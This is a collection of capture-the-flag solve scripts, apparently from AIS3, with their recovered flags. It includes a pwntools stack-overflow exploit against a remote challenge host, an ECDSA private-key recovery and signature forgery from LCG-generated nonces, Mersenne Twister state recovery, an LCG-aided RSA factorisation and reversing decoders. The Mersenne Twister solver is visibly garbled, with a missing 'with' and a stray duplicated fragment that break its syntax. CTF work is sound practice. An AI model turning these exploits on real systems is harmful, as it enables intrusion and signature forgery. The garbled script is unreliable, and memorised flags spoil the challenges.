1
from pwn import *
2

3
context.arch = 'amd64'
4
# r = process('./chal')
5
r = remote('chals1.ais3.org', 60028)
6

7
welcome_ave_mujica = 0x401256   # win
8

9
payload = flat(
10
    b'a' * 168,
11
    welcome_ave_mujica
12
)
13

14
r.sendlineafter(b'?', b'yes')
15
# gdb.attach(r)
16
r.sendlineafter(b':', b'-80')   # unsigned = 160 bytes
17
r.sendlineafter(b':', payload)
18

19
r.interactive()

1
from hashlib import sha512
2
from math import isqrt
3
import random
4
import re
5
import sys
6

7
OUTFILE = "output.txt"
8

9
# load cipher
10
def load_ciphertexts(path: str):
11
    open(path, "r", encoding="utf-8") as f:
12
        lines = [ln.strip() for ln in f if ln.strip()]
13
    return lines[:-1], lines[-1]
14

15
# calculate sha512(bytes([b])) → 64-byte digest (int)
16
def build_sha_map():
17
    return {
18
        b: int.from_bytes(sha512(bytes([b])).digest(), "big")
19
        for b in range(256)
20
    }
21

22
# recover 256-bit b_i
23
def recover_bi_list(cipher_hex_list, sha_map):
24
    bi_list = []
25
    for idx, ci_hex in enumerate(cipher_hex_list, 1):
26
        ci = int(ci_hex, 16)
27
        for byte_val, ai in sha_map.items():
28
            x = ci ^ ai           # should = b_i ** 2
29
            root = isqrt(x)
30
            if root * root == x:  # check square
31
                bi_list.append(root)
32
                break
33
    return bi_list
34

35
def split_to_words(bi_list):
36
    words = []
37
    for bi in bi_list:
38
        for i in range(8):
39
            shift = (7 - i) * 32
40
            words.append((bi >> shift) & 0xFFFFFFFF)
41
    return words
42

43
def untemper(y):
44
    y ^= y >> 18
45
    y &= 0xFFFFFFFF
46
    y ^= (y << 15) & 0xEFC60000
47
    y &= 0xFFFFFFFF
48
    for _ in range(5):
49
        y ^= (y << 7) & 0x9D2C5680
50
        y &= 0xFFFFFFFF
51
    y ^= y >> 11
52
    y ^= y >> 11
53
    return y & 0xFFFFFFFF
54

55
# use 624 reverse-temper number recover  random.Random state
56
def build_prng_state(words):
57
    if len(words) < 624:
58
        sys.exit("[!] words isn't enough (624)")
59
    state_624 = tuple(untemper(w) for w in words[:624])
60
    return (3, state_624 + (624,), None)
61

62
def main():
63
    cipher_list, flag_cipher_hex = load_ciphertexts(OUTFILE)
64
    sha_map = build_sha_map()
65

66
    # recover PRNG
67
    bi_list = recover_bi_list(cipher_list, sha_map)
68
    words = split_to_words(bi_list)
69
    rnd = random.Random()
70
    rnd.setstate(build_prng_state(words))
71

72
    for _ in range(80):
73
        rnd.getrandbits(256)
74

75
    # generate 81th kerstream
76
    b_flag = rnd.getrandbits(256)
77
    c_flag = int(flag_cipher_hex, 16)
78
    flag_int = c_flag ^ (b_flag ** 2)
79
    flag_bytes = flag_int.to_bytes((flag_int.bit_length() + 7) // 8, "big")
80

81
    # grep flag
82
    m = re.search(rb"AIS3\{.*?\}", flag_bytes)
83
    if m:
84
        print("[*] Recovered flag:", m.group(0).decode())printable.decode(errors="ignore"))

1
export function flagchecker(a:int):int { // func9
2
  var b:int = g_a;
3
  var c:int = 96;
4
  var d:int = b - c;
5
  g_a = d;
6
  d[22]:int = a;
7
  var e:int = -39934163;
8
  d[21]:int = e;
9
  var f:int = 64;
10
  var g:long_ptr = d + f;
11
  var h:long = 0L;
12
  g[0] = h;
13
  var i:int = 56;
14
  var j:long_ptr = d + i;
15
  j[0] = h;
16
  var k:int = 48;
17
  var l:long_ptr = d + k;
18
  l[0] = h;
19
  d[5]:long = h;
20
  d[4]:long = h;
21
  var m:long = 7577352992956835434L;
22
  d[4]:long = m;
23
  var n:long = 7148661717033493303L;
24
  d[5]:long = n;
25
  var o:long = -7081446828746089091L;
26
  d[6]:long = o;
27
  var p:long = -7479441386887439825L;
28
  d[7]:long = p;
29
  var q:long = 8046961146294847270L;
30
  d[8]:long = q;
31
  var r:int = d[22]:int;
32
  var s:int = 0;
33
  var t:int = r != s;
34
  var u:int = 1;
35
  var v:int = t & u;
36
  if (eqz(v)) goto B_c;
37
  var w:int = d[22]:int;
38
  var x:int = f_n(w);
39
  var y:int = 40;
40
  var z:int = x != y;
41
  var aa:int = 1;
42
  var ba:int = z & aa;
43
  if (eqz(ba)) goto B_b;
44
  label B_c:
45
  var ca:int = 0;
46
  d[23]:int = ca;
47
  goto B_a;
48
  label B_b:
49
  var da:int = d[22]:int;
50
  d[7]:int = da;
51
  var ea:int = 0;
52
  d[6]:int = ea;
53

54
  loop L_e {
55
    var fa:int = d[6]:int;
56
    var ga:int = 5;
57
    var ha:int = fa < ga;
58
    var ia:int = 1;
59
    var ja:int = ha & ia;
60
    if (eqz(ja)) goto B_d;
61
    var ka:int = d[7]:int;
62
    var la:int = d[6]:int;
63
    var ma:int = 3;
64
    var na:int = la << ma;
65
    var oa:long_ptr = ka + na;
66
    var pa:long = oa[0];
67
    d[2]:long = pa;
68
    var qa:int = d[6]:int;
69
    var ra:int = 6;
70
    var sa:int = qa * ra;
71
    var ta:int = -39934163;
72
    var ua:int = ta >> sa;
73
    var va:int = 63;
74
    var wa:int = ua & va;
75
    d[3]:int = wa;
76
    var xa:long = d[2]:long;
77
    var ya:int = d[3]:int;
78
    var za:long = f_i(xa, ya);
79
    var ab:int = d[6]:int;
80
    var bb:int = 32;
81
    var cb:int = d + bb;
82
    var db:int = cb;
83
    var eb:int = 3;
84
    var fb:int = ab << eb;
85
    var gb:long_ptr = db + fb;
86
    var hb:long = gb[0];
87
    var ib:int = za != hb;
88
    var jb:int = 1;
89
    var kb:int = ib & jb;
90
    if (eqz(kb)) goto B_f;
91
    var lb:int = 0;
92
    d[23]:int = lb;
93
    goto B_a;
94
    label B_f:
95
    var mb:int = d[6]:int;
96
    var nb:int = 1;
97
    var ob:int = mb + nb;
98
    d[6]:int = ob;
99
    continue L_e;
100
  }
101
  label B_d:
102
  var pb:int = 1;
103
  d[23]:int = pb;
104
  label B_a:
105
  var qb:int = d[23]:int;
106
  var rb:int = 96;
107
  var sb:int = d + rb;
108
  g_a = sb;
109
  return qb;
110
}

1
from struct import pack
2
const = [
3
    0x69282a668aef666a,
4
    0x633525f4d7372337,
5
    0x9db9a5a0dcc5dd7d,
6
    0x9833afafb8381a2f,
7
    0x6fac8c8726464726,
8
]
9

10
shifts = []
11
mask = (-39934163) & 0xFFFFFFFF       # 0xFD9EA72D
12

13
for i in range(5):
14
    shifts.append((mask >> (6*i)) & 0x3F)
15

16
def ror64(x, r):
17
    r &= 63
18
    return ((x >> r) | (x << (64 - r))) & 0xFFFFFFFFFFFFFFFF
19

20
flag = b''.join(pack('<Q', ror64(c, s))   # <Q = 8-byte little-endian
21
                for c, s in zip(const, shifts))
22

23
print(flag.decode())
24

25
# AIS3{W4SM_R3v3rsing_w17h_g0_4pp_39229dd}

1
from sympy.ntheory import isprime, sqrt_mod
2
from math import gcd
3
import re, sys
4

5
# read output.txt
6
def load(name="output.txt"):
7
    pat = re.compile(r"(\w+)\s*=\s*(\d+)")
8
    vals = {}
9
    with open(name) as f:
10
        for line in f:
11
            m = pat.match(line)
12
            if m:
13
                vals[m.group(1)] = int(m.group(2))
14
    return vals
15

16
out = load()
17
h0, h1, h2 = out["h0"], out["h1"], out["h2"]
18
M  = out["M"]      # LCG modulus
19
n  = out["n"]
20
e  = out["e"]
21
c  = out["c"]
22

23
# 1. solve a, b
24
inv = pow((h1 - h0) % M, -1, M)
25
a = ((h2 - h1) % M) * inv % M
26
b = (h1 - a * h0) % M
27
inv_a1 = pow((a - 1) % M, -1, M)
28
inv2   = pow(2, -1, M)
29

30
print("[+] LCG's parameter recovered!")
31
n_mod_M = n % M
32

33
# 2. find p
34
def solve_for_k(k):
35
    Ak = pow(a, k, M)
36
    Bk = (b * ((Ak - 1) * inv_a1 % M)) % M
37
    Ainv = pow(Ak, -1, M)
38
    C = (Bk * Ainv) % M
39
    D = (-n_mod_M * Ainv) % M        # -n/A
40
    disc = (C*C - 4*D) % M
41
    roots = sqrt_mod(disc, M, all_roots=True)
42

43
    for r in roots:
44
        p = ((-C + r) * inv2) % M
45
        if p and n % p == 0:
46
            return p
47
    return None
48

49
print("[*] Find k …")
50
for k in range(1, 1500):
51
    p = solve_for_k(k)
52
    if p:
53
        q = n // p
54
        print(f"[+] Find prime k = {k}")
55
        break
56
else:
57
    sys.exit("[-] Failed, should increase k")
58

59
assert p * q == n and isprime(p) and isprime(q)
60

61
# 3. RSA decrypt
62
phi = (p-1)*(q-1)
63
d   = pow(e, -1, phi)
64
m_int = pow(c, d, n)
65
flag = m_int.to_bytes((m_int.bit_length()+7)//8, "big")
66

67
print(flag.decode())
68
# AIS3{1_d0n7_r34lly_why_1_d1dn7_u53_637pr1m3}

1
import struct
2

3
key = b"rikki_l0v3"
4
seed = b"".join(struct.pack("<I", x) for x in [
5
    1480073267, 1197221906, 254628393, 920154,
6
    1343445007, 874076697, 1127428440, 1510228243,
7
    743978009, 54940467, 1246382110
8
]) + b"\x14"
9

10
flag = bytearray()
11
flag.append(0x33 ^ key[0])
12
for i in range(1, 45):
13
    flag.append(seed[i] ^ key[i % 10])
14

15
print(flag.decode())
16

17
# AIS3{w0w_a_f1ag_check3r_1n_serv3r_1s_c00l!!!}

1
from pwn import *
2
from ecdsa.curves import NIST192p
3
import hashlib
4

5
a = 1103515245
6
c = 12345
7
G = NIST192p.generator
8
n = G.order()
9

10
def grab_example(io):
11
    io.sendlineafter(b'option:', b'get_example')
12
    io.recvuntil(b'msg:')
13
    io.recvline()
14
    r = int(io.recvline().split(b':')[1].strip(), 16)
15
    s = int(io.recvline().split(b':')[1].strip(), 16)
16
    return r, s
17

18
def modinv(x):
19
    return pow(x, -1, n)
20

21
# connect & get signatures
22
io = remote('chals1.ais3.org', 19000)
23
r0, s0 = grab_example(io)
24
r1, s1 = grab_example(io)
25

26
h = int.from_bytes(hashlib.sha1(b"example_msg").digest(), 'big') % n
27
num = (r0 * s1 * c - r0 * h + r1 * h) % n
28
den = (r1 * s0 - r0 * s1 * a) % n
29
k0  = num * modinv(den) % n
30
d = (s0 * k0 - h) * modinv(r0) % n
31
print(f"[+] private key d = {hex(d)}")
32

33
# combine give_me_flag signature
34
msg = b'give_me_flag'
35
h2  = int.from_bytes(hashlib.sha1(msg).digest(), 'big') % n
36
# 用 LCG 推得下一個 k
37
k1  = (a * k0 + c) % n
38
R   = k1 * G
39
r2  = R.x() % n
40
s2  = (modinv(k1) * (h2 + r2 * d)) % n
41
print("[+] signature ready")
42

43
# get flag
44
io.sendlineafter(b'option:', b'verify')
45
io.sendlineafter(b'message:', msg)
46
io.sendlineafter(b'r (hex):', hex(r2).encode())
47
io.sendlineafter(b's (hex):', hex(s2).encode())
48
io.interactive()

1
from struct import unpack
2
# v14[10]
3
cipher_dword = [
4
  0xCE695081, 0xC1942BB5, 0xC38B136D, 0xDB0830C5, 0x774CB209,
5
  0xED101C59, 0x48EB2058, 0x6529FECF, 0x1D9D67F7, 0xDE102EA4
6
]
7
tail = b"\xFD\x66\x28"    # 3 bytes
8
cipher = b"".join(d.to_bytes(4,"little") for d in cipher_dword) + tail  # 43B
9

10
# hex_array1[43]
11
hex_array1 = bytes.fromhex('''
12
    c0 19 3a fd ce 68 dc f2 0c 47 d4 86 ab 57 39 b5
13
    3a 8d 13 47 3f 7f 71 98 6d 13 b4 01 90 9c 46
14
    3a c6 33 c2 7f dd 71 78 9f 93 22 55
15
''')
16

17
flag = bytes(c^k for c,k in zip(cipher, hex_array1)).rstrip(b"\0")
18
print(flag.decode())
19

20
# AIS3{CH3aT_Eng1n3?_0fcau53_I_bo_1T_by_hAnD}